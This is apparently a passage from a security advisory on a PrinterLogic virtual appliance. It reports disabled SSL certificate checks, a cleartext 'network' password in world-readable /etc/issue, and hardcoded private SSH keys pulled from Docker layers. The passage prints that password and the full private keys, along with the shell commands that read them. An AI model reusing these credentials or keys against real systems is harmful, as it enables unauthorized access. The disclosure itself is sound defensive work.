MS_AUTH_KEY=1001-LOCAL-ENV-KEY-1001 # User Microservice API API_USER_URL=https://users API_USER_VERIFYSSL=false # Platform API API_PLAT_API_URL=http://plat-api API_PLAT_API_VERIFYSSL=false # Quota Management Microservice API API_QUOTA_URL=https://qm API_QUOTA_VERIFYSSL=false # Printer Queue Microservice API API_PQ_URL=https://pq API_PQ_VERIFYSSL=false # Driver Catalog Microservice API API_DRIVER_CATALOG_URL=https://drivers API_DRIVER_CATALOG_VERIFYSSL=false # Okta Microservice API API_OKTA_URL=https://okta API_OKTA_VERIFYSSL=false # Authn Microservice API API_AUTHN_URL=http://authn API_AUTHN_VERIFYSSL=false # External Badge Controller Microservice API EBC_URL=http://ebc EBC_VERIFYSSL=false # Cpp-Ui Microservice API API_CPP_UI_URL=https://cpp-ui API_CPP_UI_VERIFYSSL=false API_CPP_UI_PUBLIC_URL=https://cpp-ui.pl-local.com:12443 # New API Gateway Microservice API_GW_URL=http://gw API_GW_PUBLIC_URL=https://gw.pl-local.com:5443 API_GW_VERIFYSSL=false # Badge Reader Microservice API API_BR_URL=https://br API_BR_VERIFYSSL=false # VA-API Microservice VA_API_URL=http://va-api VA_API_VERIFYSSL=false # SCSS Microservice API API_SCSS_URL=http://scss API_SCSS_VERIFYSSL=false # Identity Microservice API API_IDENTITY_URL=http://identity API_IDENTITY_VERIFYSSL=false # Catalog Microservice API API_CAT_URL=http://cat API_CAT_VERIFYSSL=false # Qms Microservice API API_QMS_URL=http://qms API_QMS_VERIFYSSL=false Variables used to be sure no verification of SSL certificates is done kali$ cat ./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/base/app.env [...] # SSL verification API_AUTHN_VERIFYSSL=${API_AUTHN_VERIFYSSL:-false} API_BR_VERIFYSSL=${API_BR_VERIFYSSL:-false} API_CAT_VERIFYSSL=${API_CAT_VERIFYSSL:-false} API_CPP_UI_VERIFYSSL=${API_CPP_UI_VERIFYSSL:-false} API_GATEWAY_VERIFYSSL=${API_GATEWAY_VERIFYSSL:-false} API_PRINTERINSTALLER_VERIFYSSL=${API_PRINTERINSTALLER_VERIFYSSL:-false} API_USER_VERIFYSSL=${API_USER_VERIFYSSL:-false} [...] When looking for `ssl` and `false`, more results will appear in PHP source code. Variables used to be sure no verification of SSL certificates is done: ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), ./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)), [...] ./www/app/config-laravel/api.php: 'verify_ssl' => env('API_IDENTITY_VERIFYSSL', false), ./www/app/config-laravel/api.php: 'verify_ssl' => env('API_CAT_VERIFYSSL', false), [...] By design, the solution is vulnerable to Man-In-The-Middle attacks and does not provide security when communicating with the printers (e.g. releasing jobs). The `Secure Printing` is insecure by default. The micro-apis do not check SSL certificates. In any case, these communications are done over clear-text HTTP. ## Details - Password for `network` stored in clear-text inside `/etc/issue`, world-readable By default, it is possible to retrieve the password of the `network` user. The file `/etc/issue` contains the password in clear-text. Furthermore, this file is world-readable: root@printerlogic:/etc# ls -la /etc/issue -rw-r--r-- 1 root root 406 Jan 21 12:25 /etc/issue root@printerlogic:/etc# cat /etc/issue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . PrinterLogic Virtual Appliance Host Version: 1.0.730 . . STATUS: running . IP: \4 . . Your application is running and may be accessed at: . http://10.105.0.240/admin . . To change network settings please login: . User: network . password: gl3wW5pwQW . . . . . . . . . . . . . . . . . . . . . . . . . . . . . root@printerlogic:/etc# An attacker with a shell on the appliance can use the `network` account to change network parameters. ## Details - Hardcoded SSH keys + private SSH keys for [redacted]@printerlogic.com 4 private SSH keys have been identified inside overlay file systems. Private SSH key for [redacted]@printerlogic.com: root@printerlogic:/var/lib/docker/overlay2# cat l/52OZV2SUNBKDGHGOMZIF7THOG4/var/www/app/.docker-config/buildkey/key -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY----- root@printerlogic:/var/lib/docker/overlay2# cat l/52OZV2SUNBKDGHGOMZIF7THOG4/var/www/app/.docker-config/buildkey/key.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w== [redacted]@printerlogic.com root@printerlogic:/var/lib/docker/overlay2# It is possible to extract all these private keys: kali% ls -la total 44 drwxr-xr-x 2 user user 4096 Jan 27 05:20 . drwxr-xr-x 7 user user 4096 Jan 27 06:54 .. -rw-r--r-- 1 user user 757 Jan 27 05:20 0c6cde480b4d75d9c9a82b8a12c6d445895bb825e9af124a45a30ebad50bda2f -rw-r--r-- 1 user user 3298 Jan 27 05:20 2410f7c3221fd364bbd3973e9a9d4a5822470220de3fc62b3f03c805b3c0d18a -rw-r--r-- 1 user user 554 Jan 27 05:20 4ea7f52240de54a12d5e69ca3e466ae1b0104237f170a52e464571d5ba31fa30 -rw-r--r-- 1 user user 3247 Jan 27 05:20 788a46c826899b5e540230665f70b01d6109e3dfd3fff563c2dde28a8d5d9cab -rwxr-xr-x 1 user user 756 Jan 27 05:20 83159c9f12a524d61211d7d1c90be6f0adc28af47f005642984a38535635ba98 -rw-r--r-- 1 user user 758 Jan 27 05:20 ad8dd47e588d13a71445fc4094cf235134345c75078717a65edd99570ea09b86 -rw-r--r-- 1 user user 2578 Jan 27 05:20 ba6d3cc939560607ddb022268532711ebe04a4d3a9091b8e8c021fe18d3e54ad -rwxr-xr-x 1 user user 3246 Jan 27 05:20 e4eef378452637b12bdf3be4b094dbf31815aa135eac4bd32f705cd74e890909 -rw-r--r-- 1 user user 3252 Jan 27 05:20 f8b7e55b72b82e3dcfc3801441522e87cf9b3a9c8bc10e66ad7ba421ee5cac9c kali% for i in 0c6cde480b4d75d9c9a82b8a12c6d445895bb825e9af124a45a30ebad50bda2f 4ea7f52240de54a12d5e69ca3e466ae1b0104237f170a52e464571d5ba31fa30 83159c9f12a524d61211d7d1c90be6f0adc28af47f005642984a38535635ba98 ad8dd47e588d13a71445fc4094cf235134345c75078717a65edd99570ea09b86; do cat $i;echo;done ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w== [redacted]@printerlogic.com ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2M2xijRbElYoTFbvt4gHISVqO9fY7Ad4Bz/cspildbrk6rFRx1M5WD5PLeS6flg1sBUotNgbQih1e/P5z/rwEHF9JZvH/4Sk3nAa+0+hym6vdPZLa6iEq6xbyyQ5jyTs4NjphCXpSkHK3skc8exxkM2H0mUi+7hj4l47UnetLck9rV5TvVHs9gUhjhkiYm1FlesT5WMF6ExOotS3ndi8ZydFdQHbuGJsMKIGyD1d699TqoiP/o82PgKMmuL64APRgbgzVYyyMvFGctg3Pw7dbPwkLoFTQf2gVLdEXm9OBDyyx6/lb4gIcLTrMnZ5zYj08qeo3K8jc4TpyYUVQCo4IHe7O0Ck3CG0oRsXIXVWNK8UMC6hXTQ2zKGN2rX9zhbOvAVhZGJ6/bcKnrxOvGQltdgoV2wTEp0IvqLQg4dOl0eaDT5kPyETdxToaizB85FPrOeWYuYY9SSciViNR945nkcEwq4ALE+fZGSYxIc4PxoN6ygjVxcyvWkLhV2sv6Wk= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w== [redacted]@printerlogic.com ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w== [redacted]@printerlogic.com kali% cat 2410f7c3221fd364bbd3973e9a9d4a5822470220de3fc62b3f03c805b3c0d18a -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY----- kali% kali% cat ba6d3cc939560607ddb022268532711ebe04a4d3a9091b8e8c021fe18d3e54ad -----BEGIN OPENSSH PRIVATE KEY----- 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 